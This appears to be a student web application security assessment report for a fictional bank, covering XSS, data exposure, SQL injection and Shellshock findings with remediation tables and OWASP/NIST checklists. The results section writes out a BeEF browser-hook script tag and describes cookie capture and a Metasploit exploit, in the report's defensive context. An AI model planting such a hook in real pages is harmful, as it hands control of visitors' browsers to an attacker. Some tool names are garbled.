|  |
| --- |
| **Web Application Security Assessment Report** |
|  |
| Prepared for Insecure BankCorp  By Christopher Acuna |
|  |
|  |
|  |
| **February 25, 2022** |
|  |

**Table of Contents**

[Template Instructions: 1](#_Toc533414228)

[1 Assessment Introduction 2](#_Toc533414229)

[1.1 References 3](#_Toc533414230)

[2 Web Application Description 4](#_Toc533414231)

[2.1 Application Overview 4](#_Toc533414232)

[2.2 Application Architecture 4](#_Toc533414233)

[2.2.1 Network Firewall Application Component 4](#_Toc533414234)

[2.2.2 Web Server Component 4](#_Toc533414235)

[2.2.3 Application Server Application Component 4](#_Toc533414236)

[2.2.4 File System Application Component 5](#_Toc533414237)

[2.2.5 Remote Device Component 5](#_Toc533414238)

[3 Assessment Assumptions 6](#_Toc533414239)

[3.1 Components Included in the Assessment 6](#_Toc533414240)

[3.2 Components Excluded from the Assessment 6](#_Toc533414241)

[3.3 Other Assumptions 6](#_Toc533414242)

[3.4 Biblical Principles 6](#_Toc533414243)

[4 Assessment Approach 7](#_Toc533414244)

[4.1 Security Architecture Review 7](#_Toc533414245)

[4.2 Web Server Security Scan 7](#_Toc533414246)

[4.3 Dynamic Vulnerability Scan 7](#_Toc533414247)

[4.4 Source Code Scan 8](#_Toc533414248)

[4.5 Out of Scope Items 8](#_Toc533414249)

[5 Assessment/Verification Results 9](#_Toc533414250)

[5.1 Summary of Test Results 9](#_Toc533414251)

[5.1.1 Cross-Site Scripting (XSS) Findings 9](#_Toc533414252)

[5.1.2 Sensitive Data Exposure 9](#_Toc533414253)

[5.1.3 SQL Injections Findings 9](#_Toc533414254)

[5.1.4 Components With Known Vulnerabilites 9](#_Toc533414255)

[5.2 Source Code Findings 9](#_Toc533414256)

[5.3 OWASP ASVS Level 1A Verification Requirements 10](#_Toc533414257)

[5.4 OWASP ASVS Level 1B Verification Requirements 10](#_Toc533414258)

[5.5 Web Server NIST Verification Requirements 10](#_Toc533414259)

[6 Recommended Remediation Actions 11](#_Toc533414260)

[6.1 Web Application Recommendations - XSS 11](#_Toc533414261)

[6.2 Web Application Recommendations – Sensitive data exposure 12](#_Toc533414262)

[6.3 Web Application Recommendations - SQL Injections 12](#_Toc533414263)

[6.4 Web Application Recommendations – Components with known Vulnerabilities 13](#_Toc533414264)

[6.5 Other Web Recommendations 13](#_Toc533414265)

[6.6 Biblical Integration Results 14](#_Toc533414266)

[Appendix – Security Requirement Pass/Fail Verdicts 15](#_Toc533414267)

[OWASP Level 1A Pass/Fail Verdicts 15](#_Toc533414268)

[OWASP Level 1B Pass/Fail Verdicts 17](#_Toc533414269)

[Web Server NIST Pass/Fail Verdicts 18](#_Toc533414270)

# Assessment Introduction

Insecure Bancorp is a regional bank that offers an online platform to all business and day to day customers. In recent months Insecure Bankcorp has suffered crippling attacks on their website [www.insecure-banking](http://www.insecure-banking).com Such attacks led to the exposure of some client sensitive data, along with undesired modifications to the front facing website. This attack has also caused clients such as Liberty beverages Inc to lose faith in the handling of their business transactions. A detailed assessment will include a survey on the web infrastructure ‘s vulnerability and remediated solution to prevent attacks going forward.

The purpose of this report is to review and assess the web application Target of Verification (TOV) security for the top ten (and beyond) application security risks – and to report assessed vulnerabilities and recommended actions. For purposes of this document, application review and assessment is also called “verification”.

This report is based upon the Application Security Verification Standard (ASVS) by OWASP, which defines four levels of verification that increase in both breadth and depth at higher levels. The breadth is defined in each level by a set of security requirements that must be addressed. The depth of the verification is defined by the approach and level of rigor required in verifying each security requirement.



Figure One – OWASP ASVS Levels

This report focuses on Level 1 (“Automated Verification”), which is typically appropriate for applications where some confidence in the correct use of security controls is required. Threats to security will typically be viruses and worms (targets are chosen indiscriminately through wide scans and impact the most vulnerable). The scope of verification includes code that was developed or modified in order to create the application.

In Level 1, the verification involves the use of automated tools augmented with manual verification. This level only provides partial application security verification coverage. The manual verification is not intended to make the application security verification performed at this level complete, only to verify that each automated finding is correct and not a false positive.

The Assessment Report contains the following additional sections:

* Section 2: The Target of Verification (TOV) Description. This section describes the TOV implementation. In this context, it is the web application itself.
* Section 3: Assumptions. This section describes the assumptions made during verification.
* Section 4: Verification Requirements. This section identifies the OWASP ASVS verification requirements that the verification was performed against- as well as other web server requirements that are best practices that are not specifically enumerated in the ASVS
* Section 5: Verification Approach. This section identifies the verification methodology that was used to determine if ASVS verification requirements were met or not.
* Appendices A, B, C, and D – Verification Findings. These appendices summarize the results of verification activities that were performed. The complete set of architecture-related findings is provided in Appendix A, while summaries of results using tools are provided in Appendices B, C, and D.
* Appendix E – OWASP ASVS Pass/Fail verdicts. This appendix documents pass/fail verdicts for OWASP ASVS verification requirements.

## References

1. Antonín Steinhauser, P. T. (2020). Database Traffic Interception for Graybox Detection of Stored and Context-sensitive XSS. *ACM Journals, 1*(3). doi:https://doi-org.ezproxy.liberty.edu/10.1145/3399668
2. D. S. Kim, M. K.-H. (2020). Design and Performance Analysis of Software Defined Networking Based Web Services Adopting Moving Target Defense. *IEEE*, 43-44. doi:10.1109/DSN-S50200.2020.00024
3. Miles Tracy (Federal Reserve Information Technology), W. J. (2007, September). Guidelines on Securing Public Web Servers. *NIST*, 800-44.
4. *OWASP Application Security Verification Standard*. (n.d.). Retrieved from OWASP: https://owasp.org/www-project-application-security-verification-standard/
5. Sunaringtyas, V. N. (2020). Secure Code Recommendation Based on Code Review Result Using OWASP Code Review Guide. *IEEE*, 153-158. doi:10.1109/IWBIS50925.2020.9255559.
6. Wukkadada, N. A. (2020). Identifying The Usage Of Known Vulnerabilities Components Based On OWASP A9. *IEEE*, 88-91.
7. *New Living Translation.* (2011).

# Web Application Description

## Application Overview

The Target of Verification (TOV) is the www.insecure-banking.com web site. Its components are deployed as depicted in Figure 2 below.

Graphical user interface, application

Description automatically generated

## Application Architecture

The web sites can be described in terms of the following components:

* Network firewall component
* Web server software component
* Application server component
* Relational database component
* File system component
* Remote devices

Component details are below.

### Network Firewall Application Component

Cisco ASA-5000 integrates firewall protection on the network. Positioned outside of the DMZ zone and then inside the DMZ provides maximum protection to the webserver.

### Web Server Component

Webservers installed in the DMZ zone are in between a firewall and IDS. The servers are running on Linux platform.

### Application Server Application Component

Apache server software is installed on the Linux OS of the server. Web applications run on Apache software. Apache is an open-source software that can run on any Unix or Linux platform. According to most webservers are using it as choice because “Apache makes up 45.4% of the marketplace” (p.140, Web-Based Hacking: Servers and Applications, *Evatt*).

This software responds to requests and provides service or files as responses. Common files to be on the lookout for is the main configuration file. The config file is commonly named httpd.conf and contains access control on who can view the server status page.

### File System Application Component

Logging is a general recommendation for any web server. It ensures that actions and transactions become records of proof. Logging can be come expensive in storage space, so having a storage area network can be helpful. Hosting backup of software applications and files on a storage area network helps in the event of disaster recovery.

### Remote Device Component

Tablets, phones, and pcs for Insecure Bankcorp employees can connect using vpn through their internal intranet.

# Assessment Assumptions

## Components Included in the Assessment

All code on [www.insecure-banking](http://www.insecure-banking).com will be included in the assessment/verification.All website configuration of [www.insecure-banking](http://www.insecure-banking).com will be included. Linux Platform and Apache web server software.

## Components Excluded from the Assessment

The following items are not within the scope of this assessment.

1. Routers,
2. Firewalls,
3. IDS,
4. Databases,
5. Security on remote devices,
6. Authentication schemas
7. Authorization mechanisms.
8. Physical security

## Other Assumptions

Access to web servers

Access to log files

Availability of internal resources

## Biblical Principles

Assessment and assumption of components included help narrow down the report on specifics.

Biblical scripture has a similar passage in the book of Matthew. In the book of Matthew, it is recommended to take the narrow gate over the wide gate. The wide gate is broad and can lead to many other paths. The wide gate is the way most people choose. In the same way looking for broad and general assessments while helpful may lead to missing important details. The narrow gate symbolizes the difficult path. However difficult it is rewarding because it leads to the truth.

“Enter by the narrow gate. For the gate is wide and the way is easy that leads to destruction, and those who enter by it are many. For the gate is narrow and the way is hard that leads to life, and those who find it are few.” (Matthew 7:13-14, NLT)

# Assessment Approach

## Security Architecture Review

The security architecture review consists in a review of the application architecture, which is determined by customer-supplied diagrams and/or interviews. However, a full review of the architecture is out of scope in this assessment. The high-level diagram is provided for clarification purposes.

## Web Server Security Scan

A high-level assessment of the web server security is performed using automated tooling and manual inspection. This includes the web server software (e.g., Apache, IIS) and the operating system. The tools utilized in the automated scan is Splunk

## Dynamic Vulnerability Scan

Dynamic scanning was performed at OWASP ASVS Level 1A using the following tool:

Wireshark

Nikto,

Dirbuster

The results of the scan can be found in Reference One. A summary of the results of the scan can be found in this document in section “Appendix B – Dynamic Scan Findings”.

## Source Code Scan

Static scanning was performed using a manual code review process.

## Out of Scope Items

The following items are out of scope items in the assessment. Redundant edge routers for load balancing. Firewalls and intrusion detection systems are also considered out of scope.

Any databases the web application would write to. Security on remote devices that connected to the web server. Authentication or authorization mechanisms configured.

The physical security of the web server.

# Assessment/Verification Results

## Summary of Test Results

### Cross-Site Scripting (XSS) Findings

Malicious code was embedded in a blog to capture session cookie information from port 4444.

Graphical user interface, text

Description automatically generated

We were able to scan the port using Netscape and see the cookie for a user’s session was passed through

Text

Description automatically generated

Browser exploitation framework aka BeEf exposed how hackers could control user’s web browsers with this malicious code.

**<script src="http://127.0.0.1:3000/hook.js"></script>**

They could also install additional software on to the unaware user’s web browser.

### Sensitive Data Exposure Findings

HTML comments left by developers left the database password embedded in the comments on a public website.

Text, letter

Description automatically generated

Other tools like Disburster exposed files and directories left on the website.

Finally, verbose error messages meant for developers was left configured on an account web page exposing the database name and query upon error.

### SQL Injections Findings

Using Wireshark, we were able to scan a SQL query that came nested in a TCP packet. We then tracked the packet using TCP stream to identify the logic of the SQL injection attack which was to disclose one of 20 items.

Graphical user interface, text, application

Description automatically generated

### Components With Known Vulnerabilities Findings

Using Nikto we ran a scan on the webserver by entering the host name and retrieve the operating system version of the web server. Then we used Metasploit to check if the server is vulnerable to Shell shock. Then we were able to use exploit a shellshock module to exploit the web server’s payload.

Text

Description automatically generated

## Source Code Findings

The lab results above revealed vulnerabilities in source code configuration on several Owasp websites. Along with vulnerabilities, sensitive data exposure, XSS and SQL injection attacks identified. I would recommend best practices in coding in any language to be aware of client data that is used as input. The data that the client inputs should always be encoded and escaped and never be left inside a query. Any part of the web application that interacts with a database needs to have appropriate debugging and logging to limit the exposure of errors to only developers. Any exposure of the database name or sql version is a vulnerability. A tool like Nikto could be used to identify the exposure.

## OWASP ASVS Level 1A Verification Requirements

The Appendix lists the Level 1A verification requirements and whether the

assessment results are pass or fail.

## OWASP ASVS Level 1B Verification Requirements

The Appendix lists the Level 1B verification requirements and whether the

assessment results are pass or fail.

## Web Server NIST Verification Requirements

The Appendix lists the web server NIST verification Level 1A verification

requirements and whether the assessment results are pass or fail.

# Recommended Remediation Actions

The following are recommendations by high-level category resulting from the findings as listed above for each lab and associated vulnerability. Each recommendation has an associated priority and remediation effort (high, medium, and low). The effort is a high-level estimate which could change with more analysis. In overall terms, a low effort denotes approximately 4-16 hours, medium effort is approximately (16-40 hours), and high effort is greater than 40 hours.

## Web Application Recommendations - XSS

|  |  |  |
| --- | --- | --- |
| **Recommendation** | **Priority** | **Remediation Effort** |
|  |  |  |
| Using an appropriate framework such as Node js or React that shield from XSS attacks. This may involve rescripting parts or the entire web application | High | 40 |
| Escaping unwanted characters in input fields that are used in HTTP requests. Additional character validation. Characters such as [space] % \* + , - / ; < = > ^ and | should be escaped and have validation | Medium | 16 |
| Developing a Content security policy | Low | 10 |
|  |  |  |
|  |  |  |

### Web Application Recommendations - Sensitive Data Exposure Findings

|  |  |  |
| --- | --- | --- |
| **Recommendation** | **Priority** | **Remediation Effort** |
| Ensure unnecessary information from the webserver such as versioning is not exposed during server responses. Ensure apache software has the following values  ServerTokens Prod  ServerSignature Off  To disable version exposure | Low | 10-16 |
| Scan for any passwords that may have been left in code comments using Dirbuster which scans for files or directories. Ensure that any unwanted directories available are not accessible on the web application | Low | 10-16 |
| Classify which data is sensitive on a web application and identify where it is stored | Medium | 20 |
|  |  |  |

## Web Application Recommendations - SQL Injections

|  |  |  |
| --- | --- | --- |
| **Recommendation** | **Priority** | **Remediation Effort** |
| Ensure input validation by escaping characters that can be submitted to be used in queries. | High | 40 |
| Use SQL syntax in queries that use data from input and limit the query to return one row. This can be done using keywords Limit in SQL syntax. | Medium | 16-20 |
| Parameters should be used get information stored into variables. The parameter can be set in the SQL query which hides it from the end user | Medium | 16 |
|  |  |  |
|  |  |  |

## Web Application Recommendations – Components with Vulnerabilities

|  |  |  |
| --- | --- | --- |
| **Recommendation** | **Priority** | **Remediation Effort** |
| Inventory of all component version ware and OS version on critical applications. Research if the software version has the latest patch and what vulnerabilities have been reported for the version. In the example Ubuntu 12.04 was vulnerable | High | 40 |
| Ensure that components listed in inventory come from an official reputable source that has been updated in the past 3 years | Medium | 20 |
| Remove /Replace any software components out of compliance and out of date. Apply any security patches to OS that are missing. In the example Ubuntu needs to be updated to the latest version and have the appropriate patches applied | High | 40 |
|  |  |  |
|  |  |  |
|  |  |  |

## Other Web Recommendations

|  |  |  |
| --- | --- | --- |
| **Recommendation** | **Priority** | **Remediation Effort** |
| Appropriate security configuration should be tested to ensure the right users have access to appropriate parts of the web application and is functioning as expected | Medium | 16 |
| Ensure any sensitive information that is handled or displayed is not in conflict with laws such as HIPPA | Low | 10 |
| Ensure appropriate logging is taking place on the application | Low | 10 |
|  |  |  |

## Biblical Integration Results

The recommendations are applicable to the target of verification. Quick remediation leaves the target with less of an open window for vulnerabilities to be exposed by elements. The longer time passes without proper remediation the wider the window for an unexpected attack or vulnerability to be taken advantage of. Biblical scripture recommends following the narrow path as difficult as it may be because it leads to life and reward. In comparison the reward of follow through with the remediation is having a well operating web application and server.

# Appendix – Security Requirement Pass/Fail Verdicts

The following are the OWASP and NIST requirements for public web sites – and the pass/fail determinations of those requirements based upon both automated scans and manual inspection.

## OWASP Level 1A Pass/Fail Verdicts

*L1A.1 The verifier shall dynamically scan the web application according to the Level 1A requirements specified in the [OWASP] “Detailed Verification Requirements” section [reproduced below for convenience].*

*V1.1 The verifier shall identify all application components (either individual or groups of source files, libraries, and/or executables) present in the application.*

*V2.1 Verify that all pages and resources require authentication except those specifically intended to be public.*

*V2.9 Verify that if a maximum number of authentication attempts is exceeded, the account is locked.*

*V2.11 Verify that all password fields do not echo the user’s password when it is entered.*

*V3.1 Verify that the framework’s default session management control implementation is used by the application.*

*V3.1 Verify that sessions are invalidated when the user logs out.*

*V3.2 Verify that sessions timeout after a specified period of inactivity.*

*V3.8 Verify that all authenticated pages have logout links.*

*V4.1 Verify that users can only access URLs for which they possess specific authorization.*

*V4.2 Verify that users can only access files for which they possess specific authorization.*

*V4.3 Verify that directory browsing is disabled unless deliberately desired.*

*V4.4 Verify that users can only access protected functions for which they possess specific authorization.*

*V4.11 Verify that direct object references are protected, such that only authorized objects are accessible to each user.*

*V5.3 Verify that a positive validation pattern is defined and applied to all input.*

*V5.7 Verify that all input validation control failures result in input rejection.*

*V5.9 Verify that the environment is not susceptible to buffer overflows, or that security controls prevent buffer overflows.*

*V8.8 Verify that that the application does not output error messages containing sensitive data that could assist an attacker, including session id and personal information.*

*V9.3 Verify that all forms containing sensitive information have disabled client side caching, including autocomplete features.*

*V10.5 Verify that TLS server certificates have been issued by a trusted CA.*

*V11.1 Verify that every HTTP response contains a content type header specifying a safe character set (e.g., UTF-8).*

*V11.2 Verify that redirects do not include unvalidated data.*

*V11.3 Verify that the application accepts only a defined set of HTTP request methods, such as GET and POST.*

L1A.2 The verifier shall verify all dynamic scan results using either manual penetration testing or code review. Unverified automated results are not considered to provide any assurance and are not sufficient to qualify for Level 1.

## OWASP Level 1B Pass/Fail Verdicts

L1B.1 The verifier shall perform source code scanning on the web application according to the Level 1B requirements specified in the [OWASP] “Detailed Verification Requirements” section [reproduced below for convenience].

V1.1 The verifier shall identify all application components (either individual or groups of source files, libraries, and/or executables) present in the application.

V2.1 Verify that all pages and resources require authentication except those specifically intended to be public.

V2.11 Verify that all password fields do not echo the user’s password when it is entered.

V3.7 Verify that the session id is never disclosed other than in cookie headers, particularly in URLs or logs. This includes verifying that the application does not support URL rewriting of session cookies.

V4.4 Verify that users can only access protected functions for which they possess specific authorization.

V5.9 Verify that the environment is not susceptible to buffer overflows, or that security controls prevent buffer overflows.

V8.8 Verify that that the application does not output error messages containing sensitive data that could assist an attacker, including session id and personal information.

V9.3 Verify that all forms containing sensitive information have disabled client side caching, including autocomplete features.

V11.1 Verify that every HTTP response contains a content type header specifying a safe character set (e.g., UTF-8).

V11.2 Verify that redirects do not include unvalidated data.

V11.3 Verify that the application accepts only a defined set of HTTP request methods, such as GET and POST.

## Web Server NIST Pass/Fail Verdicts

1. Verify that the host server software levels have been identified – OS and web server software.
2. Verify that all host server applications and operational services have been identified.
3. Verify that all host server operating system users and groups have been identified.
4. Verify that administrative activities have been limited to authorized users.
5. Verify that unnecessary applications and services have been disabled at the operating system and web server software levels.
6. Verify that users and administrators are able to change passwords through an established procedure.
7. Verify that users are disabled after a specified period of inactivity.
8. Verify that host server activities are logged and periodically reviewed by system administrators.
9. Verify that all vendor-recommended critical security patches have been applied and that there is an established procedure and schedule to perform this activity.
10. Verify that the password policies are in alignment with best practices.
11. Verify that additional software controls are installed and up-to-date such as such as antivirus software, antispyware software, rootkit detectors (Unix only), and host-based intrusion detection or firewalls.
12. Verify that all manufacturer documentation has been removed from the server.
13. Verify that any example or test files from the server, including scripts and executable code, have been removed.
14. Define a complete Web content access matrix. Identify which folders and files within the Web server document should be restricted and which should be accessible (and by whom).
15. Verify that the following file-level controls are applied for the web application:
16. Configure the Web server so that Web content files can be read but not written by service processes
17. Configure the Web server so that service processes cannot write to the directories where public Web content is stored
18. Configure the Web server so that only processes authorized for Web server administration can write Web content files
19. Configure the host OS so that the Web server can write log files but not read them.
20. Configure the host OS so that temporary files created by the Web server application are restricted to a specified and appropriately protected subdirectory
21. Configure the host OS so that access to any temporary files created by the Web server application is limited to the service processes that created the files
22. Install Web content on a different hard drive or logical partition than the OS and Web server application
23. If uploads are allowed to the Web server, configure it so that a limit is placed on the amount of hard drive space that is dedicated for this purpose; uploads should be placed on a separate partition
24. Ensure that log files are stored in a location that is sized appropriately; log files should be placed on a separate partition.
25. Verify that sensitive content on a public web server is restricted for the following types of information:
    1. Classified records
    2. Internal personnel rules and procedures
    3. Sensitive or proprietary information
    4. Personal information about an organization’s personnel

Telephone numbers, e-mail addresses, or general listings of staff unless necessary to fulfill organizational requirements

* 1. Schedules of organizational principals or their exact location (whether on or off the premises)
  2. Information on the composition, preparation, or optimal use of hazardous materials or toxins
  3. Sensitive information relating to homeland security
  4. Investigative records
  5. Financial records (beyond those already publicly available)
  6. Medical records
  7. Organization’s physical and information security procedures
  8. Information about organization’s network and information system infrastructure
  9. Information that specifies or implies physical security vulnerabilities
  10. Plans, maps, diagrams, aerial photographs, and architectural plans of organizational building, properties, or installations
  11. Copyrighted material without the written permission of the owner
  12. Privacy or security policies that indicate the types of security measures in place to the degree that they may be useful to an attacker